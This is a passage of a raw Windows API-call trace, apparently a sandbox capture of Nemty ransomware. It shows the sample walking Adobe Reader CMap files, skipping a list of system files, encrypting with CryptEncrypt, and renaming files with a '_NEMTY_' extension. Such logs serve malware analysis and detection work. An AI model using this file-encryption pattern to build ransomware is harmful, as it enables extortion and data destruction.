[0209.166] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.166] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-H", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-H", lpUsedDefaultChar=0x0) returned 11 [0209.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.166] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.166] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-H", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-H", lpUsedDefaultChar=0x0) returned 11 [0209.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0209.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0209.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0209.166] Sleep (dwMilliseconds=0x5) [0209.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x305148b0, dwHighDateTime=0x1d561e8)) [0209.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x305148b0, dwHighDateTime=0x1d561e8)) [0209.178] GetLastError () returned 0x5 [0209.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0209.179] GetLastError () returned 0x5 [0209.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0209.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0209.179] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0209.179] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0209.179] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0209.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0209.179] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="7GiogIzojarU6OkWU6HPRuou2a4fuRnB+Uk/5Og9xj/JcilvatgR/X/Lhoj9xCrJ\r\nf6vWdbLNRFHryfLJdil68OomBDBJWQQCo3LwyzzZGfIdO257+7GxGt/F4d5SKEb7\r\n207gkDOqcY/2VpuJXkvYqrYUp61cYdz1EZ0zi+dINm4yKXN8iaj+2V86kgVHBvP+\r\nLA25YgtA2Kt+tQcP+WSlxsuAbYN2VTMp+BW0xUoBdnOjz+9zHqAH6V1JBY5SpHOH\r\nJwdqN7Y280oSKQI2vIG0yXK1SgKXOhgw4qhawRjv90sVbpctHj91NuPl/l9FzBqn\r\n8pfhsUpw3242b5tB046m0w==\r\n", pcchString=0x653e91c) returned 1 [0209.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0209.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0209.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0209.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0209.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0209.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0209.179] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0209.179] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0209.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0209.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.179] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.189] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.189] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.198] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.209] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.218] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.219] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.228] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.228] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.237] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.237] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.247] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.247] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.257] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.266] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.276] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.282] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.282] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.288] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.288] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0209.288] CloseHandle (hObject=0xffffffff) returned 0 [0209.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0209.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0209.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0209.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0209.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0209.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0209.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0209.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0209.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0209.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0209.288] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-h._nemty_kgobjgd_")) returned 0 [0209.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0209.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0209.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0209.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0209.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0209.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0209.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0209.289] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x418c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-HW-H", cAlternateFileName="KSCMS-~2")) returned 1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2=".") returned 1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="..") returned 1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="...") returned 1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="windows") returned -1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="$RECYCLE.BIN") returned 1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="rsa") returned -1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="NTDETECT.COM") returned -1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="ntldr") returned -1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="MSDOS.SYS") returned -1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="IO.SYS") returned 1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="boot.ini") returned 1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="boot.ini") returned 1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="AUTOEXEC.BAT") returned 1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="ntuser.dat") returned -1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="desktop.ini") returned 1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="CONFIG.SYS") returned 1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="RECYCLER") returned -1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="BOOTSECT.BAK") returned 1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="bootmgr") returned 1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="programdata") returned -1 [0209.289] lstrcmpiW (lpString1="KSCms-UHC-HW-H", lpString2="appdata") returned 1 [0209.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-HW-H", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-HW-H", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-HW-H", lpUsedDefaultChar=0x0) returned 14 [0209.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0209.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-HW-H", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-HW-H", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-HW-H", lpUsedDefaultChar=0x0) returned 14 [0209.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0209.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-HW-H", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-HW-H", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-HW-H", lpUsedDefaultChar=0x0) returned 14 [0209.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-HW-H", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0209.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-HW-H", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-HW-H", lpUsedDefaultChar=0x0) returned 14 [0209.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0209.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0209.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0209.290] Sleep (dwMilliseconds=0x5) [0209.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x306453b0, dwHighDateTime=0x1d561e8)) [0209.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x306453b0, dwHighDateTime=0x1d561e8)) [0209.303] GetLastError () returned 0x5 [0209.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0209.303] GetLastError () returned 0x5 [0209.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0209.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0209.303] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0209.303] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0209.304] 